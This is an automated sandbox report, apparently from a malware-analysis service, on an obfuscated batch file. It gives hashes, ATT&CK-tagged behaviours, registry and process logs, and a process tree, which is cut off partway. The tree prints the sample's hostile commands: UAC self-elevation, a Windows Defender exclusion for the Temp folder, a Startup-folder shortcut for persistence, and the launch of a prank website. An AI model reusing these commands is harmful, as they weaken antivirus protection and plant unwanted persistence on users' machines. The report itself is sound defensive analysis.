fd7e4173c8f63e92982a02a64485c8c79284503910a09347928a0976637ccc63

Analysis

max time kernel
79s
max time network
891s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/08/2026, 16:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
VortexVr_obfuscated.bat
Size 39KB
Sample260818-tr6vcsab56
SHA256 fd7e4173c8f63e92982a02a64485c8c79284503910a09347928a0976637ccc63
MD5 b08c549a1e1b99654eb6e5991c94b467
SHA1 e41547f230474ee234bfbf02cfb93f9dddab7e17
SHA512 285cad5bdd04fe4f12f89c24cd258fd31fccf2496fe7a01ea05b1f0b718478201d98e0e1c4852e86aa29e5a493cef1846d84006306314d6adb367114a01d28df
SSDEEP 768:naa7Zaa7jaa7Haa7/aa7paa7Zaa7jaa7Haa7/aa7paa7Zaa7jaa7Haa7/aa7paaD:nfZfjfHf/fpfZfjfHf/fpfZfjfHf/fpv
TLSH
T13E03CE39EB78A8D043BE749C8A533E4514CA1D23D7B9AA5CF941089B1CAC785EB774CC
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2980	powershell.exe
8512	powershell.exe
5148	powershell.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VortexVr_obfuscated.lnk	powershell.exe

Drops desktop.ini file(s) 3 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Documents\desktop.ini	firefox.exe
File opened for modification	C:\Users\Public\desktop.ini	firefox.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	firefox.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6036	cmd.exe
4596	cmd.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4532	chrome.exe
5828	msedge.exe

Checks processor information in registry 2 TTPs 48 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Modifies data under HKEY_USERS 10 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134315435755388607"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-189034102-168398478-1159367937-1000\{CFE99E2A-4635-4151-B142-C785581562A6}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	firefox.exe

Suspicious behavior: EnumeratesProcesses 51 IoCs

pid	Process
4332	powershell.exe
4332	powershell.exe
5148	powershell.exe
5148	powershell.exe
2980	powershell.exe
2980	powershell.exe
3936	powershell.exe
3936	powershell.exe
5876	powershell.exe
5876	powershell.exe
3092	chrome.exe
3092	chrome.exe
3428	powershell.exe
3428	powershell.exe
4852	powershell.exe
4852	powershell.exe
7808	powershell.exe
7808	powershell.exe
7028	powershell.exe
7028	powershell.exe
6096	powershell.exe
6096	powershell.exe
7456	powershell.exe
7456	powershell.exe
6900	powershell.exe
6900	powershell.exe
3632	powershell.exe
3632	powershell.exe
6704	powershell.exe
6704	powershell.exe
7652	powershell.exe
7652	powershell.exe
7812	powershell.exe
7812	powershell.exe
6160	powershell.exe
6160	powershell.exe
7088	powershell.exe
7088	powershell.exe
7500	powershell.exe
7500	powershell.exe
7640	powershell.exe
7640	powershell.exe
200	powershell.exe
200	powershell.exe
8352	powershell.exe
8352	powershell.exe
8512	powershell.exe
8512	powershell.exe
8512	powershell.exe
6208	powershell.exe
6208	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3092	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 16 IoCs

pid	Process
3092	chrome.exe
3092	chrome.exe
6112	msedge.exe
6112	msedge.exe
6112	msedge.exe
6112	msedge.exe
3092	chrome.exe
6112	msedge.exe
3092	chrome.exe
6112	msedge.exe
3092	chrome.exe
6112	msedge.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
6112	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4332	powershell.exe
Token: SeDebugPrivilege	5148	powershell.exe
Token: SeIncreaseQuotaPrivilege	5148	powershell.exe
Token: SeSecurityPrivilege	5148	powershell.exe
Token: SeTakeOwnershipPrivilege	5148	powershell.exe
Token: SeLoadDriverPrivilege	5148	powershell.exe
Token: SeSystemProfilePrivilege	5148	powershell.exe
Token: SeSystemtimePrivilege	5148	powershell.exe
Token: SeProfSingleProcessPrivilege	5148	powershell.exe
Token: SeIncBasePriorityPrivilege	5148	powershell.exe
Token: SeCreatePagefilePrivilege	5148	powershell.exe
Token: SeBackupPrivilege	5148	powershell.exe
Token: SeRestorePrivilege	5148	powershell.exe
Token: SeShutdownPrivilege	5148	powershell.exe
Token: SeDebugPrivilege	5148	powershell.exe
Token: SeSystemEnvironmentPrivilege	5148	powershell.exe
Token: SeRemoteShutdownPrivilege	5148	powershell.exe
Token: SeUndockPrivilege	5148	powershell.exe
Token: SeManageVolumePrivilege	5148	powershell.exe
Token: 33	5148	powershell.exe
Token: 34	5148	powershell.exe
Token: 35	5148	powershell.exe
Token: 36	5148	powershell.exe
Token: SeDebugPrivilege	2980	powershell.exe
Token: SeDebugPrivilege	3936	powershell.exe
Token: SeDebugPrivilege	5876	powershell.exe
Token: SeShutdownPrivilege	3092	chrome.exe
Token: SeCreatePagefilePrivilege	3092	chrome.exe
Token: SeShutdownPrivilege	3092	chrome.exe
Token: SeCreatePagefilePrivilege	3092	chrome.exe
Token: SeDebugPrivilege	3428	powershell.exe
Token: SeShutdownPrivilege	3092	chrome.exe
Token: SeCreatePagefilePrivilege	3092	chrome.exe
Token: SeShutdownPrivilege	3092	chrome.exe
Token: SeCreatePagefilePrivilege	3092	chrome.exe
Token: SeDebugPrivilege	4852	powershell.exe
Token: SeShutdownPrivilege	3092	chrome.exe
Token: SeCreatePagefilePrivilege	3092	chrome.exe
Token: SeShutdownPrivilege	3092	chrome.exe
Token: SeCreatePagefilePrivilege	3092	chrome.exe
Token: SeShutdownPrivilege	3092	chrome.exe
Token: SeCreatePagefilePrivilege	3092	chrome.exe
Token: SeDebugPrivilege	3944	firefox.exe
Token: SeDebugPrivilege	3944	firefox.exe
Token: SeShutdownPrivilege	3092	chrome.exe
Token: SeCreatePagefilePrivilege	3092	chrome.exe
Token: SeShutdownPrivilege	3092	chrome.exe
Token: SeCreatePagefilePrivilege	3092	chrome.exe
Token: SeDebugPrivilege	7808	powershell.exe
Token: SeShutdownPrivilege	3092	chrome.exe
Token: SeCreatePagefilePrivilege	3092	chrome.exe
Token: SeDebugPrivilege	7028	powershell.exe
Token: SeShutdownPrivilege	3092	chrome.exe
Token: SeCreatePagefilePrivilege	3092	chrome.exe
Token: SeDebugPrivilege	6096	powershell.exe
Token: SeShutdownPrivilege	3092	chrome.exe
Token: SeCreatePagefilePrivilege	3092	chrome.exe
Token: SeDebugPrivilege	7456	powershell.exe
Token: SeShutdownPrivilege	3092	chrome.exe
Token: SeCreatePagefilePrivilege	3092	chrome.exe
Token: SeDebugPrivilege	6900	powershell.exe
Token: SeDebugPrivilege	3632	powershell.exe
Token: SeShutdownPrivilege	3092	chrome.exe
Token: SeCreatePagefilePrivilege	3092	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
6112	msedge.exe
3092	chrome.exe
3944	firefox.exe
3944	firefox.exe
3944	firefox.exe
3944	firefox.exe
3944	firefox.exe
3944	firefox.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe
3092	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3944	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 6036 wrote to memory of 4332	6036	cmd.exe	90
PID 4332 wrote to memory of 4596	4332	powershell.exe	91
PID 4596 wrote to memory of 5148	4596	cmd.exe	93
PID 4596 wrote to memory of 2980	4596	cmd.exe	185
PID 4596 wrote to memory of 1300	4596	cmd.exe	96
PID 4596 wrote to memory of 3092	4596	cmd.exe	97
PID 4596 wrote to memory of 3936	4596	cmd.exe	98
PID 3092 wrote to memory of 5540	3092	chrome.exe	99
PID 4596 wrote to memory of 6112	4596	cmd.exe	100
PID 4596 wrote to memory of 5876	4596	cmd.exe	101
PID 6112 wrote to memory of 4800	6112	msedge.exe	102
PID 3092 wrote to memory of 4532	3092	chrome.exe	103
PID 3092 wrote to memory of 6064	3092	chrome.exe	104
PID 3092 wrote to memory of 6064	3092	chrome.exe	104
PID 3092 wrote to memory of 4428	3092	chrome.exe	105
PID 3092 wrote to memory of 4428	3092	chrome.exe	105
PID 3092 wrote to memory of 4512	3092	chrome.exe	107
PID 3092 wrote to memory of 2448	3092	chrome.exe	108
PID 3092 wrote to memory of 4512	3092	chrome.exe	107
PID 3092 wrote to memory of 2448	3092	chrome.exe	108
PID 6112 wrote to memory of 5828	6112	msedge.exe	109
PID 6112 wrote to memory of 5896	6112	msedge.exe	110
PID 6112 wrote to memory of 5896	6112	msedge.exe	110
PID 6112 wrote to memory of 4856	6112	msedge.exe	111
PID 6112 wrote to memory of 4856	6112	msedge.exe	111
PID 6112 wrote to memory of 4856	6112	msedge.exe	111
PID 6112 wrote to memory of 2928	6112	msedge.exe	115
PID 6112 wrote to memory of 1312	6112	msedge.exe	114
PID 6112 wrote to memory of 2928	6112	msedge.exe	115
PID 6112 wrote to memory of 2928	6112	msedge.exe	115
PID 6112 wrote to memory of 1312	6112	msedge.exe	114
PID 6112 wrote to memory of 1312	6112	msedge.exe	114
PID 4596 wrote to memory of 3288	4596	cmd.exe	113
PID 6112 wrote to memory of 5564	6112	msedge.exe	116
PID 6112 wrote to memory of 5564	6112	msedge.exe	116
PID 6112 wrote to memory of 5564	6112	msedge.exe	116
PID 6112 wrote to memory of 5568	6112	msedge.exe	117
PID 6112 wrote to memory of 5568	6112	msedge.exe	117
PID 6112 wrote to memory of 5568	6112	msedge.exe	117
PID 3288 wrote to memory of 3944	3288	firefox.exe	118
PID 3288 wrote to memory of 3944	3288	firefox.exe	118
PID 3092 wrote to memory of 3300	3092	chrome.exe	119
PID 3092 wrote to memory of 3300	3092	chrome.exe	119
PID 4596 wrote to memory of 3428	4596	cmd.exe	120
PID 6112 wrote to memory of 5792	6112	msedge.exe	169
PID 6112 wrote to memory of 5792	6112	msedge.exe	169
PID 3944 wrote to memory of 5756	3944	firefox.exe	122
PID 3944 wrote to memory of 5756	3944	firefox.exe	122
PID 3944 wrote to memory of 5756	3944	firefox.exe	122
PID 3092 wrote to memory of 2512	3092	chrome.exe	124
PID 3092 wrote to memory of 2512	3092	chrome.exe	124
PID 3944 wrote to memory of 2584	3944	firefox.exe	125
PID 3944 wrote to memory of 2584	3944	firefox.exe	125
PID 3944 wrote to memory of 2584	3944	firefox.exe	125
PID 3944 wrote to memory of 2584	3944	firefox.exe	125
PID 6112 wrote to memory of 4680	6112	msedge.exe	126
PID 6112 wrote to memory of 4680	6112	msedge.exe	126
PID 6112 wrote to memory of 3552	6112	msedge.exe	128
PID 6112 wrote to memory of 3552	6112	msedge.exe	128
PID 6112 wrote to memory of 460	6112	msedge.exe	127
PID 6112 wrote to memory of 460	6112	msedge.exe	127
PID 4596 wrote to memory of 4852	4596	cmd.exe	129
PID 3944 wrote to memory of 6236	3944	firefox.exe	130
PID 3944 wrote to memory of 6236	3944	firefox.exe	130

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\VortexVr_obfuscated.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell start -verb runas 'C:\Users\Admin\AppData\Local\Temp\VortexVr_obfuscated.bat' am_admin
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4332
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\VortexVr_obfuscated.bat" am_admin
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4596
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5148
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VortexVr_obfuscated.lnk'); $Shortcut.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\VortexVr_obfuscated.bat'; $Shortcut.Save()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Creates a file in the Startup directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2980
  - - C:\Windows\system32\where.exe
      where chrome
      4⤵
      PID:1300
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      Enumerates system info in registry
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:3092
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ffef166c728,0x7ffef166c734,0x7ffef166c740
        5⤵
        
        PID:5540
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2088,i,2271569647033910870,4230698793989182162,524288 --field-trial-handle=1936,i,4922399729876856748,388638434825197938,262144 --variations-seed-version --mojo-platform-channel-handle=2092 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:4532
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2228,i,10169232666494716603,10786799306663413530,524288 --field-trial-handle=1936,i,4922399729876856748,388638434825197938,262144 --variations-seed-version --mojo-platform-channel-handle=2328 /prefetch:13
        5⤵
        
        PID:6064
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1616,i,9015732583984046792,1502283357912397686,262144 --field-trial-handle=1936,i,4922399729876856748,388638434825197938,262144 --variations-seed-version --mojo-platform-channel-handle=1932 /prefetch:2
        5⤵
        
        PID:4428
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3248,i,121079766518120386,17095906442421649712,2097152 --field-trial-handle=1936,i,4922399729876856748,388638434825197938,262144 --variations-seed-version --mojo-platform-channel-handle=3256 /prefetch:1
        5⤵
        
        PID:4512
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3252,i,4780383999979261691,2754248547725179759,2097152 --field-trial-handle=1936,i,4922399729876856748,388638434825197938,262144 --variations-seed-version --mojo-platform-channel-handle=3288 /prefetch:1
        5⤵
        
        PID:2448
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4668,i,11982368415873694771,14113556959754515429,524288 --field-trial-handle=1936,i,4922399729876856748,388638434825197938,262144 --variations-seed-version --mojo-platform-channel-handle=4664 /prefetch:14
        5⤵
        
        PID:3300
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4832,i,4801588719181025089,11303018726360330955,524288 --field-trial-handle=1936,i,4922399729876856748,388638434825197938,262144 --variations-seed-version --mojo-platform-channel-handle=4844 /prefetch:12
        5⤵
        
        PID:2512
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
